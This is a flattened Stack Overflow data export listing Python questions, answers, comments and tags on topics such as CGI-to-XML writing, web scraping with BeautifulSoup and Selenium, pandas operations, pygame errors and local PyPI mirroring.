has body: I am trying to write XML document by taking input on an Html page and running a python script.. HTML: serverID: name: host: port: proto: user: password: key: companyName: officeAddress: state: country: lAdmin: phone: mobile: email: designation: reportingMgr: And this is the python script being called: #!/usr/local/bin/python3 # -*- coding: utf-8 -*- # #author__ = "Devanshu Misra" # __copyright__ = "Copyright 2017, ACPL Systems Pvt. Ltd." # __license__ = "proprietary" # __version__ = "1.0.1" # __status__ = "Under Development" import cgi, cgitb import xml.etree.ElementTree as et import os base_path = os.path.dirname(os.path.realpath(__file__)) xml_file = os.path.join(base_path, "company.xml") form = cgi.FieldStorage() serverId = form.getvalue("field1") name = form.getvalue("field2") host = form.getvalue("field3") port = form.getvalue("field4") proto = form.getvalue("field5") user = form.getvalue("field6") password = form.getvalue("field7") key = form.getvalue("field8") company = form.getvalue("field9") officeAddr = form.getvalue("field10") state = form.getvalue("field11") country = form.getvalue("field12") ladmin = form.getvalue("field13") phone = form.getvalue("field14") mobile = form.getvalue("field15") email = form.getvalue("field16") designation = form.getvalue("field17") reportingMgr = form.getvalue("field18") tree = et.parse(xml_file) root = tree.getroot() new_server = et.SubElement(root, "server", id = str(serverId)) new_name = et.SubElement(new_server, "name") new_host = et.SubElement(new_server, "host") new_port = et.SubElement(new_server, "port") new_proto = et.SubElement(new_server, "proto") new_user = et.SubElement(new_server, "user") new_password = et.SubElement(new_server, "password") new_key = et.SubElement(new_server, "key") new_company_name = et.SubElement(new_server, "companyName") new_address = et.SubElement(new_server, "address") new_office_address = et.SubElement(new_address, "officeAddress") new_state = et.SubElement(new_address, "state") new_cou…
tagged with: http://stackoverflow.com/tag/xml
type: Question
has title: Dynamic write XML using HTML running python script
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80840266
has comment: http://stackoverflow.com/comment/80811042
tagged with: python
score: 0
has comment: http://stackoverflow.com/comment/80886407
has comment: http://stackoverflow.com/comment/80852970

http://stackoverflow.com/a/46931919
has comment: http://stackoverflow.com/comment/80840020
score: 0
has comment: http://stackoverflow.com/comment/80826236
has body: you should use a merge: c=df1.merge(df2,on="KEY") the c dataframe will now contain the "FACTOR" column which is the result you want to achieve if one of the fields to merge is the index, you can use : c=df1.merge(df2,left_on="KEY",right_index=True)
type: Answer
answers question: http://stackoverflow.com/q/46931881

http://stackoverflow.com/a/46925374
accepted answer of: http://stackoverflow.com/q/46925208
answers question: http://stackoverflow.com/q/46925208
score: 0
type: AcceptedAnswer
has body: The version of drawtree on PyPI is not currently compatible with Python 3. There's a Python 3-compatible version on Github, if you really want to use drawtree on Python 3.
type: Answer

http://stackoverflow.com/a/47006785
answers question: http://stackoverflow.com/q/47006187
downvote count: 0
has body: preselect=None does the trick. Should have known. Just wanted to post in case it helps somebody else out.
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/comment/80864369
has text: I'd do it this way: `[(i,j) for i in xrange(1,len(mylist)) for j in xrange(i,len(mylist))]` You could also call some function `foo(i,j)` of course.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46958366

http://stackoverflow.com/q/46933679
downvote count: 1
favorite count: 0
type: Question
tagged with: beautifulsoup
upvote count: 8
accepted answer: http://stackoverflow.com/a/46933925
has title: Scraping text in h3 and div tags using beautifulSoup, Python
has answer: http://stackoverflow.com/a/46933925
tagged with: python
has answer: http://stackoverflow.com/a/46933936
type: AnsweredQuestion
has body: I have no experience with python, BeautifulSoup, Selenium etc. but I'm eager to scrape data from a website and store as a csv file. A single sample of data I need is coded as follows (a single row of data). &lt;div class="box effect"&gt; &lt;div class="row"&gt; &lt;div class="col-lg-10"&gt; &lt;h3&gt;HEADING&lt;/h3&gt; &lt;div&gt;&lt;i class="fa user"&gt;&lt;/i&gt;&amp;nbsp;&amp;nbsp;NAME&lt;/div&gt; &lt;div&gt;&lt;i class="fa phone"&gt;&lt;/i&gt;&amp;nbsp;&amp;nbsp;MOBILE&lt;/div&gt; &lt;div&gt;&lt;i class="fa mobile-phone fa-2"&gt;&lt;/i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;NUMBER&lt;/div&gt; &lt;div&gt;&lt;i class="fa address"&gt;&lt;/i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;XYZ_ADDRESS&lt;/div&gt; &lt;div class="space"&gt;&amp;nbsp;&lt;/div&gt; &lt;div style="padding:10px;padding-left:0px;"&gt;&lt;a class="btn btn-primary btn-sm" href="www.link_to_another_page.com"&gt;&lt;i class="fa search-plus"&gt;&lt;/i&gt; &amp;nbsp;more info&lt;/a&gt;&lt;/div&gt; &lt;/div&gt; &lt;div class="col-lg-2"&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; The output I need is Heading,NAME,MOBILE,NUMBER,XYZ_ADDRESS I found those data don't have a id or class yet being in website as general text. I'm trying BeautifulSoup and Python Selenium separately for that, where I got stuck to extract in both the methods as no tutorials I saw, guided me to extract text from these and tags My code using BeautifulSoup import urllib2 from bs4 import BeautifulSoup import requests import csv MAX = 2 '''with open("lg.csv", "a") as f: w=csv.writer(f)''' ##for i in range(1,MAX+1) url="http://www.example_site.com" page=requests.get(url) soup = BeautifulSoup(page.content,"html.parser") for h in soup.find_all('h3'): print(h.get('h3')) My selenium code import csv from selenium import webdriver MAX_PAGE_NUM = 2 driver = webdriver.Firefox() for i in range(1, MAX_PAGE_NUM+1): url = "http://www.example_site.com" driver.get(url) name = driver.find_elements_by_xpath('//div[@class = "col-lg-10"]/h3') #contact = driver.find_eleme…
answer count: 3
score: 7
tagged with: http://stackoverflow.com/tag/html
possible better answer: http://stackoverflow.com/a/65153523
tagged with: selenium
tagged with: web-crawler
has answer: http://stackoverflow.com/a/65153523

http://stackoverflow.com/comment/80836423
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/46944446
type: Comment
has text: Thank you, that's very helpful!

http://stackoverflow.com/a/48306211
type: Answer
answers question: http://stackoverflow.com/q/46987460
downvote count: 0
upvote count: 1
score: 1
has body: First, you don't especially need to use mel module, you can do the same operations in Python (better). Then, just create a list of selected edges and apply your split on each one. import maya.cmds as cmds selEdges = cmds.ls(selection = True) for edge in selEdges: # Find edge Id edgeId = int(edge.split('[')[-1][:-1]) # Should be better with a regex, I know... # Apply split on this particular edge thanks to edge Id cmds.polySelect(edgeRing = edgeId) cmds.polySplitRing(ief = True)

http://stackoverflow.com/q/46959291
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80866214
has comment: http://stackoverflow.com/comment/80866011
tagged with: python
has answer: http://stackoverflow.com/a/46959471
tagged with: selenium-webdriver
has title: If element does not exist, continue the job anyway try: except NoSuchElementException: pass
has comment: http://stackoverflow.com/comment/80866029
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80866151
score: 0
has body: I am trying to make a job continue if no element is found for this site: I have tried using: try: except NoSuchElementException: pass As well as if then statements. However, the former method does not work and if then methods seem to break easily. I have chosen this page with no text on it to see how it handles a page where elements do not exist. try: # Team ODDS time.sleep(4) clickMe = wait(driver, 10).until(EC.element_to_be_clickable((By.CSS_SELECTOR, ('.brdSports td td tr:nth-child(1) .sport-namerow .left')))) langs = driver.find_elements_by_css_selector(".brdSports td td tr:nth-child(1) .sport-namerow .left") #tbody &gt; tr &gt; td &gt; table &gt; tbody &gt; tr: eq(1) &gt; td &gt; table &gt; tbody &gt; tr &gt; td &gt; table &gt; tbody &gt; tr &gt; td:eq(1) &gt; table &gt; tbody &gt; tr: eq(0) &gt; td &gt; table &gt; tbody &gt; tr &gt; td &gt; table &gt; tbody &gt; tr &gt; td:eq(0) &gt; div &gt; div langs_text = [] for lang in langs: print(lang.text) langs_text.append(lang.text) time.sleep(0) time.sleep(4) # BACK TEAM #langs1 = driver.find_elements_by_xpath("//ul[@class='runners']//li[2]") clickMe = wait(driver, 10).until(EC.element_to_be_clickable((By.CSS_SELECTOR, ('.brdSports td td tr:nth-child(1) .sport-namerow .txtBld')))) langs1 = driver.find_elements_by_css_selector(".brdSports td td tr:nth-child(1) .sport-namerow .txtBld") langs1_text = [] for lang in langs1: print(lang.text) langs1_text.append(lang.text) url1 = driver.current_url time.sleep(0) with open('vtg12.csv', 'a', newline='', encoding="utf-8") as outfile: writer = csv.writer(outfile) for row in zip(langs_text, langs1_text): writer.writerow(row + (url,)) print(row + (url,)) except NoSuchElementException: pass Full code
answer count: 1
tagged with: selenium
accepted answer: http://stackoverflow.com/a/46959471
tagged with: web-scraping
has comment: http://stackoverflow.com/comment/80866101

http://stackoverflow.com/comment/81076444
has text: Put it after the loop.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47063958

http://stackoverflow.com/comment/80812535
type: AnswerComment
comment on: http://stackoverflow.com/a/46932527
score: 0
has text: Ok, got it. Can you try to answer the second part of the question? How would this work for CLI? I cannot expect cron to use browser to select a Google account. Any ideas?
type: Comment

http://stackoverflow.com/q/46968828
tagged with: python
type: AnsweredQuestion
has title: Pygame Error.when using display.set_model
answer count: 1
tagged with: pygame
has body: This is my code: import pygame, sys pygame.init() def create_window(): global window, window_height, window_width, window_title window_width, window_height = 800,600 window_title = "VLFA1" pygame.display.set_caption(window_title) window = pygame.display.set_model((window_width, window_height), pygame.HWSURFACE|pygame.DOUBLEBUF) create_window() isRunning = True while isRunning: for event in pygame.event.get(): if event.type == pygame.QUIT: isRunning = False window.fill((0, 0, 0)) pygame.display.update() pygame.quit() sys.exit() But I always get these errors: Traceback (most recent call last): create_window() and window = pygame.display.set_model((window_width, window_height), pygame.HWSURFACE|pygame.DOUBLEBUF) AttributeError: module 'pygame.display' has no attribute 'set_model'
favorite count: 0
has comment: http://stackoverflow.com/comment/80885311
type: Question
has comment: http://stackoverflow.com/comment/80885023
has answer: http://stackoverflow.com/a/46969127
accepted answer: http://stackoverflow.com/a/46969127
score: -4
downvote count: 5
upvote count: 1

web
tags question: http://stackoverflow.com/q/47005393
tags question: http://stackoverflow.com/q/47045597
tags question: http://stackoverflow.com/q/47022005
tag name: web
tags question: http://stackoverflow.com/q/47001878
tags question: http://stackoverflow.com/q/46909905
type: Tag
tags question: http://stackoverflow.com/q/46943893
tags question: http://stackoverflow.com/q/47036587

http://stackoverflow.com/a/46981978
accepted answer of: http://stackoverflow.com/q/46981929
has comment: http://stackoverflow.com/comment/80912322
type: Answer
has comment: http://stackoverflow.com/comment/80911758
has body: You're getting a key error because of the [0]. While it's not a perfect description, when you specify df.groupby('a') you're creating something like an iterator of (label, DataFrame) pairs for each grouping, and it's not til you call apply that some function gets applied to each of those "sub-frames". For example, for grp, frame in df.groupby('a'): print('Group', grp) print(frame) print() Group X a b 0 X A 2 X B 4 X C 6 X D Group Y a b 1 Y A 3 Y B 5 Y C 7 Y D Using [0] will attempt to index by label, not integer location, and your DataFrame where a == Y is indexed with [1, 3, 5, 7]. In other words, you're trying to do: df2 = df[df.a=='Y'] df2['b'][0] # Not only is this a key error, it's also chained indexing You may find this useful: How is pandas groupby method actually working? The working version of your code would be df.groupby('a').apply(lambda x: x.iloc[0,1]) But you should prefer @juanpa's solution which will be faster here.
has comment: http://stackoverflow.com/comment/80911960
upvote count: 2
has comment: http://stackoverflow.com/comment/80912264
score: 2
answers question: http://stackoverflow.com/q/46981929
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/a/46952835
type: Answer
has body: if you are using python 2.x you'll need future import: from __future__ import print_function #dont't need this for python 3.x print(*range(0,30,3), sep='\n')
score: 0
answers question: http://stackoverflow.com/q/46952768

http://stackoverflow.com/q/46989359
has answer: http://stackoverflow.com/a/46989395
upvote count: 1
answer count: 1
downvote count: 0
has body: The following situation: I've written a module that provides some functionality. In doing so it can invoke some commands and parse their output. At some point I now extended this module by enabling it to parse XML output. Of course from that time on this module now has a dependency to lxml. I did not give that much of a thought as lxml is not a very big deal. Until I - just be chance - happened to use my python module on a Raspbian installation. As this installation was quite new I tried to install lxml using pip. Which failed to compile on that platform. (I guess because 500 MByte of memory is not enough to build lxml on such a platform.) Now I'm wondering: Could my module be implemented in such a way that it provides a method to process XML data if and only if lxml is installed already? This functionality is not essential and rarely used. What would be the best pythonic approach to provide a module with basic functionality but get a bit more functionality if some other modules are available as well? My idea would be to perform some kind of test for the presence of a specific module and if that fails to raise an exception. How could that be accomplished in python in a good way? I'm using the default implementation provided on Linux. Can that functionality be achieved in a way that does not break using this python source code on other python interpreter/compiler platforms?
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/46989395
tagged with: lxml
score: 1
has title: How to provide certain functionality in python if specific modules are installed?
tagged with: python
tagged with: module
type: AnsweredQuestion

http://stackoverflow.com/q/47048473
has body: I am trying to add a __bind_key__ attribute to my base model class which should be inherited by all my DB models. However this throws an error : AttributeError: type object 'Base' has no attribute '__table__' My base model class looks like this: class Base(db.Model): """Convenience base DB model class.""" __abstract__ = True __bind_key__ = 'abc_db' The basic idea is to connect to multiple databases and bind the respective models to the tables.
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81092499
tagged with: python
has title: Sqlalchemy Can't put the bindkey in base model class
tagged with: sqlalchemy
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/81092343
has comment: http://stackoverflow.com/comment/81091172
has comment: http://stackoverflow.com/comment/81092213
tagged with: flask-sqlalchemy

http://stackoverflow.com/q/46975321
score: 0
tagged with: python
tagged with: conways-game-of-life
accepted answer: http://stackoverflow.com/a/46975405
tagged with: arrays
has answer: http://stackoverflow.com/a/46975405
has body: I'm trying to replicate Conway's Game of Life in Python. The rules of this simulation and a properly working version of it can be found here: https://bitstorm.org/gameoflife/ In my version, when I randomly assign cells to being alive at the start, it appears to behave properly, with the classic amourphous blobs of cells expanding over the screen. However, when I replicate the "glider gun" arrangement (which can also be seen on the linked website), the cells are not updating properly: the structures decay slightly and then the movement of the cells remains stagnant. This leads me to believe I have a logical error in my code - any help would be appreciated! This is the section of my code within my Cell class that updates its survival based on its neighbors (the eight cells surrounding it): def update(self, neighbors): numAliveNeighbors = 0 for neighbor in neighbors: if neighbor.isAlive: numAliveNeighbors+=1 if numAliveNeighbors &lt;= 1 or numAliveNeighbors &gt;=4: self.isAlive = False elif not self.isAlive and numAliveNeighbors is 3: self.isAlive = True This is the section of my code that finds all of the neighbors of every cell and calls the update method on them: for row in range(len(cells)): for column in range(len(cells[row])): neighbors = [] for tempRow in range (row-1, row + 2): for tempColumn in range (column-1, column + 2): if tempRow &gt;= 0 and tempRow &lt; len(cells): if tempColumn &gt;= 0 and tempColumn &lt; len(cells[tempRow]): if not(tempRow is row and tempColumn is column): neighbors.append(cells[tempRow][tempColumn]) cells[row][column].update(neighbors)
answer count: 1
has title: Python Conway's Game of Life not behaving properly for glider gun design
type: Question
type: AnsweredQuestion

http://stackoverflow.com/comment/80959207
score: 1
comment on: http://stackoverflow.com/q/47006311
type: QuestionComment
has text: What do you mean by simpler way ? more efficient, redadable ?
type: Comment

http://stackoverflow.com/comment/80795753
comment on: http://stackoverflow.com/a/46914605
score: 0
type: Comment
type: AnswerComment
has text: As in the sample run, it does not convert it to lower case in the output

http://stackoverflow.com/comment/80935634
type: Comment
type: QuestionComment
score: 0
has text: On Linux, extensions are meaningless. But not on windows. Ignoring them wouldn't be easy.
comment on: http://stackoverflow.com/q/46994334

http://stackoverflow.com/q/47057009
has comment: http://stackoverflow.com/comment/81061286
favorite count: 0
type: Question
has body: I'm trying to use regular expressions to remove specific key codes that are tied to the name of a genre in my dataset. However, what I have so far is getting rid of most of the key-codes but leaving behind some letters and I am not sure why. Upon inspection it seems to mostly be having trouble where there is a 0 with letters following it, for example "/m/0lxr" leaves behind lxr. If anyone out there knows how I would go about to fix this, please let me know! This is the code I have so far. def prepare(self, word): word = re.sub(r'//', "", word) word = re.sub(r'/\u[0-9][a-z]', "", word) word = re.sub(r'/.', "", word) word = re.sub(r'/,', "", word) word = re.sub(r'/!', "", word) word = re.sub(r'/?', "", word) word = re.sub(r'/{', "", word) word = re.sub(r"'", "", word) word = re.sub(r"//m//[0-9][a-z]+", "", word) word = re.sub(r'[0-9][a-z]+', "", word) word = re.sub(r'[a-z][0-9]+', "", word) return word
has comment: http://stackoverflow.com/comment/81187790
has comment: http://stackoverflow.com/comment/81061253
has answer: http://stackoverflow.com/a/47057257
has answer: http://stackoverflow.com/a/47057727
has comment: http://stackoverflow.com/comment/81061987
has comment: http://stackoverflow.com/comment/81061156
has comment: http://stackoverflow.com/comment/81062071
tagged with: python
tagged with: regex
has comment: http://stackoverflow.com/comment/81061575
has comment: http://stackoverflow.com/comment/81062649
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81061492
answer count: 2
accepted answer: http://stackoverflow.com/a/47057727
has comment: http://stackoverflow.com/comment/81062517
possible better answer: http://stackoverflow.com/a/47057257
tagged with: alphanumeric
score: 1
has title: Python Regular Expressions - Removing Specific Patterns
has comment: http://stackoverflow.com/comment/81062473
downvote count: 0
upvote count: 1

availability
type: Tag
tag name: availability
tags question: http://stackoverflow.com/q/46971472

http://stackoverflow.com/comment/80875632
type: AnswerComment
comment on: http://stackoverflow.com/a/46963825
score: 0
has text: @Agyol No problem, if you used this answer (it sounds like you did, but I don't know), you should tick this one.
type: Comment

http://stackoverflow.com/q/46943173
downvote count: 0
answer count: 1
tagged with: tensorflow
favorite count: 0
has body: When I read TensorFlow codes, I see people specify placeholders for the input arguments of the functions and then feed the input data in a session.run. A trivial example can be like: def sigmoid(z): x = tf.placeholder(tf.float32, name='x') sigmoid = tf.sigmoid(x) with tf.Session() as session: result = session.run(sigmoid, feed_dict={x:z}) return result I wonder why don't they directly feed the z into the tf.sigmoid(z) and get rid of the placeholder x? If this is a best practice, what is the reason behind it?
type: Question
has title: Why using placeholders for the input data of the TensorFlow functions
accepted answer: http://stackoverflow.com/a/46943999
has answer: http://stackoverflow.com/a/46943999
tagged with: python
linked to: http://stackoverflow.com/q/36693740
type: AnsweredQuestion
upvote count: 3
score: 3

http://stackoverflow.com/comment/80839785
score: 0
comment on: http://stackoverflow.com/q/46945226
has text: I am using arduino to count analog inputs and want to print each page when the count reaches a particular value and reset the counter. I am already using pyserial for communicating with arduino. So is there any way to do this???
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46934037
has answer: http://stackoverflow.com/a/55504607
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46937072
tagged with: python
tagged with: pypi
type: Question
accepted answer: http://stackoverflow.com/a/46937072
score: 0
answer count: 2
has title: Local copy of PyPI fro Python
possible better answer: http://stackoverflow.com/a/55504607
has comment: http://stackoverflow.com/comment/80815964
tagged with: pip
has body: I need to deploy a replica of PyPI on an internal network. The idea is to have all the PyPI packages in the local repository, avoiding to connect to the real PyPI repo all the time. I used bandersnatch to mirror the files of PyPI accoring to PEP381. Than on clients' pip I dropped /etc/pip.conf as following [global] index-url = http://www.myserver.com/repo/PyPI/web/simple trusted-host = www.myserver.com On the clients machine the command: pip install -v &lt;some packages&gt; works using the local repo. However the command pip search --index http://www.myserver.com/repo/PyPI/web/simple &lt;some packages&gt; doesn' t work and returns raise HTTPError(http_error_msg, response=self) pip._vendor.requests.exceptions.HTTPError: 404 Client Error: Not Found for url: http://www.myserver.com/repo/PyPI/web/ Here are 2 questions: Is it possible to enable the pip search command without install a local PyPI server such as pypiserver? Moreover, is it possible to fallback to the official PyPI server if the local pip install commands fails (e.g. local is not present)? Thanks Charlie

http://stackoverflow.com/q/46953823
has answer: http://stackoverflow.com/a/46954026
answer count: 1
has body: I want to write some custom CUDA kernels for neural networks to speed up computations, but I don't want to spend time differentiating tensor expressions by hand if there are packages that can do it automatically. Is there a python package that can show expression for symbolic matrix differentiation? I know sympy can do it for non-matrix expressions like this: def func(x): return 1 / x arg_symbols = sp.symbols(inspect.getfullargspec(func).args) sym_func = func(*arg_symbols) s = '' for arg in arg_symbols: s += '{}\n'.format(arg, sp.Lambda(arg_symbols, sym_func.diff(arg))) # this is what I need: print(s) &gt;&gt;&gt; Lambda(x, -1/x**2) I know autograd package can compute the derivatives of matrix expressions After the function is evaluated, autograd has a list of all operations that were performed and which nodes they depended on. This is the computational graph of the function evaluation. To compute the derivative, we simply apply the rules of differentiation to each node in the graph. But is there a way to get this differentiation computational graph from it or some similar package?
favorite count: 0
type: Question
tagged with: python
has title: Get computational graph / expression of symbolic matrix differentiation
type: AnsweredQuestion
tagged with: symbolic-math
downvote count: 0
accepted answer: http://stackoverflow.com/a/46954026
score: 1
upvote count: 1

http://stackoverflow.com/a/46944996
score: 0
has body: Your whole function is messy, so I just rewrote it: def display_game(guesses, clues): output = 'Guess\tClues\n****************\n' for i in range(len(guesses)): for letter in guesses[i]: output += letter + ' ' for letter in clues[i]: output += letter + ' ' output += '\n' print(output) display_game([['Y', 'P', 'G', 'G'], ['O', 'O', 'G', 'G']], [['b', 'b'], ['b','b', 'b', 'b']]) You can try it out here.
type: Answer
answers question: http://stackoverflow.com/q/46944632

http://stackoverflow.com/comment/81026638
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47037088
has text: Sounds an option. I'll try, thanks! I have another idea, what if I return each sub-process's dictionary as list and update parent's dictionary? (edit: But it seems will cost another update time, iterate list and dict to update value)
score: 0

http://stackoverflow.com/a/46961837
has comment: http://stackoverflow.com/comment/80872325
answers question: http://stackoverflow.com/q/46961771
has body: This works nicely for me on pandas v0.20.2, so you might want to try upgrading with pip install --upgrade pandas Call str.strip first, and you can do this in one str.replace call. df.stringColumn = df.stringColumn.fillna('')\ .str.strip().str.replace(r'((?&lt;=^)\.+)|(\.+(?=$))', '') 0 1 Random string one 2 another string 3 a third string Name: stringColumn, dtype: object If nan is not a NaNtype, but a string, just modify your regex: ((?&lt;=^)\.+)|(\.+(?=$))|nan Regex Details ( (?&lt;=^) # lookbehind for start of sentence \.+ # one or more '.' ) | # regex OR ( \.+ # one or more '.' (?=$) # lookahead for end of sentence ) The regex looks for leading or trailing dots (one or more) and removes them.
accepted answer of: http://stackoverflow.com/q/46961771
has comment: http://stackoverflow.com/comment/80872662
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80871281
has comment: http://stackoverflow.com/comment/80871352
upvote count: 1
has comment: http://stackoverflow.com/comment/80873007
has comment: http://stackoverflow.com/comment/80874002
score: 1
has comment: http://stackoverflow.com/comment/80874043
type: Answer
has comment: http://stackoverflow.com/comment/80872690
has comment: http://stackoverflow.com/comment/80872794
has comment: http://stackoverflow.com/comment/80872237

http://stackoverflow.com/comment/80935416
comment on: http://stackoverflow.com/q/46994070
score: 2
has text: In another comment, the OP said the number of lists could vary. I don't want to think about what their code is ending up looking like! :)
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46954932
has comment: http://stackoverflow.com/comment/80856929
has answer: http://stackoverflow.com/a/46956042
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80856971
score: 4
upvote count: 4
answer count: 2
downvote count: 0
has title: how to find sequences of words in python?
favorite count: 0
has body: I have a big text file like this example.txt: http://www.fullbooks.com/The-Jacket-Star-Rover-1.html with awk : cat example.txt | awk '{ print substr($0, index($0,$3)) }' | tr -sc "[A-Z][a-z][0-9]'" '[\012*]' | awk -- 'first!=""&amp;&amp;second!="" { print first,second,$0; } { first=second; second=$0; }' | sort | uniq -c | sort -nr | head -n20 the output is a top 20 ranking of the three consecutive most recurring words: 13 in the jacket 11 I was a 10 of the Yard 10 me in the 8 Captain of the 7 times and places 7 the Captain of 7 in the prison 7 in the dungeons 7 in San Quentin 7 I had been 6 other times and 6 hours in the 6 are going to 5 twenty four hours 5 to take me 5 the rest of 5 the forty lifers 5 the Board of 5 that I had Starting with: raw=open('examples.txt') text=raw.read().replace('\n', '') words = text.split() ............... how obtain the same with python3?
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/46955135

http://stackoverflow.com/comment/80843453
type: AnswerComment
has text: Can I get the token value within my view function and not add it manually? I don't have a login mechanism so no authenticated users.
type: Comment
comment on: http://stackoverflow.com/a/46947907
score: 0

http://stackoverflow.com/q/47041979
type: Question
has comment: http://stackoverflow.com/comment/81031085
has answer: http://stackoverflow.com/a/47042647
has comment: http://stackoverflow.com/comment/81030987
has title: Text to columns to array
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81031245
has comment: http://stackoverflow.com/comment/81031002
tagged with: python
tagged with: list
has comment: http://stackoverflow.com/comment/81031579
upvote count: 2
score: 1
has comment: http://stackoverflow.com/comment/81031170
answer count: 1
linked to: http://stackoverflow.com/q/14676265
tagged with: file
has comment: http://stackoverflow.com/comment/81032059
downvote count: 1
favorite count: 0
has body: I have been practising reading files in Python, as I am new to that particular area. I have a text file like: Hello,my,name,is,Jack and I want to transfer that to a list like this: ["Hello", "my", "name", "is", "Jack"] I tried doing this: array = [] file = open("Names.txt", "r") for line in file: array.append(line.split(",")) print(array) but I got a really bizarre error: File "C:\Python27\lib\random.py", line 261, in choice return seq[int(self.random() * len(seq))] # raises IndexError if seq is empty IndexError: list index out of range &gt;&gt;&gt; How do I fix it?

indexing
tags question: http://stackoverflow.com/q/46937916
tags question: http://stackoverflow.com/q/46994032
tags question: http://stackoverflow.com/q/47031768
tags question: http://stackoverflow.com/q/46953103
tag name: indexing
tags question: http://stackoverflow.com/q/47058255
tags question: http://stackoverflow.com/q/46967179
tags question: http://stackoverflow.com/q/46996270
type: Tag
tags question: http://stackoverflow.com/q/46989880
tags question: http://stackoverflow.com/q/47024334
tags question: http://stackoverflow.com/q/47039449
tags question: http://stackoverflow.com/q/47042894
tags question: http://stackoverflow.com/q/47061015
tags question: http://stackoverflow.com/q/46948672
tags question: http://stackoverflow.com/q/47047140
tags question: http://stackoverflow.com/q/46973212
tags question: http://stackoverflow.com/q/46910370
tags question: http://stackoverflow.com/q/47025988
tags question: http://stackoverflow.com/q/47004581
tags question: http://stackoverflow.com/q/47027850
tags question: http://stackoverflow.com/q/46976434
tags question: http://stackoverflow.com/q/46910715
tags question: http://stackoverflow.com/q/47059880
tags question: http://stackoverflow.com/q/46915338
tags question: http://stackoverflow.com/q/46978684
tags question: http://stackoverflow.com/q/46971219
tags question: http://stackoverflow.com/q/46945860
tags question: http://stackoverflow.com/q/47007622

http://stackoverflow.com/a/46919657
type: Answer
score: 2
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/46918301
has body: For your purpose, you can use one of existing wrappers around tshark, for example KimiNewt/pyshark. In other case, you would probably need to recompile the tool as a library, and then provide bindings for it to be used in Python. More on that in the documentation.

http://stackoverflow.com/comment/81071761
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47061723
type: Comment
has text: File "C:\Users\AppData\Local\Continuum\Anaconda2\lib\site-packages\spyder\utils\site\sitecustomize.py", line 880, in runfile execfile(filename, namespace) File "C:\Users\AppData\Local\Continuum\Anaconda2\lib\site-packages\spyder\utils\site\sitecustomize.py", line 87, in execfile exec(compile(scripttext, filename, 'exec'), glob, loc) File "C:/Python-Scheduler/Self-Serviced.py", line 49, in <module> with xlrd.open_workbook(name +'.xlsx').sheet_by_index(0) as f: AttributeError: __exit__

http://stackoverflow.com/comment/80788009
type: Comment
type: QuestionComment
score: 0
has text: @Flameteor my tabby brethren. If you have Sublime Text you can just select all, then View -> Indentation -> Convert Indentation To Tabs
comment on: http://stackoverflow.com/q/46919899

http://stackoverflow.com/a/46941937
has comment: http://stackoverflow.com/comment/80833207
has comment: http://stackoverflow.com/comment/80831584
type: Answer
has comment: http://stackoverflow.com/comment/80831532
has comment: http://stackoverflow.com/comment/80833136
has body: Or do some trick with special mark -( Notice , I will recommend MaxU's answer) df.group.replace({'-':np.nan},regex=True).fillna('sum') Out[449]: 0 WODKA 1 PIWO 2 sum 3 WODKA 4 PIWO 5 sum 6 WODKA 7 PIWO Name: group, dtype: object
has comment: http://stackoverflow.com/comment/80831458
answers question: http://stackoverflow.com/q/46941871
upvote count: 4
has comment: http://stackoverflow.com/comment/80831317
has comment: http://stackoverflow.com/comment/80833235
downvote count: 0
score: 4
has comment: http://stackoverflow.com/comment/80836741

http://stackoverflow.com/comment/80944795
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46994749
has text: Create another question with "How to pretty print JSON string in file?" Do not stress this question anymore.
score: 1

http://stackoverflow.com/q/47057509
has comment: http://stackoverflow.com/comment/81062419
has answer: http://stackoverflow.com/a/53343502
tagged with: arabic-support
has title: Arabic text in matplotlib
has comment: http://stackoverflow.com/comment/81062387
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/47058048
type: Question
linked to: http://stackoverflow.com/q/15421746
has body: xlabel and ylabel don't display Arabic x = [2, 4, 6, 8, 10] y = [6, 7, 8, 9, 10] plt.bar(x, y, label='Bar1', color='red') plt.xlabel("الفواصل") plt.ylabel("الترتيبات") plt.show()
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/81063224
has comment: http://stackoverflow.com/comment/81062502
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81064929
has comment: http://stackoverflow.com/comment/81062862
upvote count: 10
duplicate of: http://stackoverflow.com/q/15421746
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81064784
score: 9
has comment: http://stackoverflow.com/comment/81066541
has comment: http://stackoverflow.com/comment/81064233
answer count: 2

http://stackoverflow.com/q/47012130
possible better answer: http://stackoverflow.com/a/47013240
favorite count: 0
has comment: http://stackoverflow.com/comment/80972058
type: Question
accepted answer: http://stackoverflow.com/a/47013555
has comment: http://stackoverflow.com/comment/80972555
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80971987
has title: Django - AttributeError: 'NoneType' object has no attribute 'method'
has answer: http://stackoverflow.com/a/72487885
has comment: http://stackoverflow.com/comment/80971003
has answer: http://stackoverflow.com/a/47013240
linked to: http://stackoverflow.com/q/38281651
has comment: http://stackoverflow.com/comment/80971738
tagged with: django
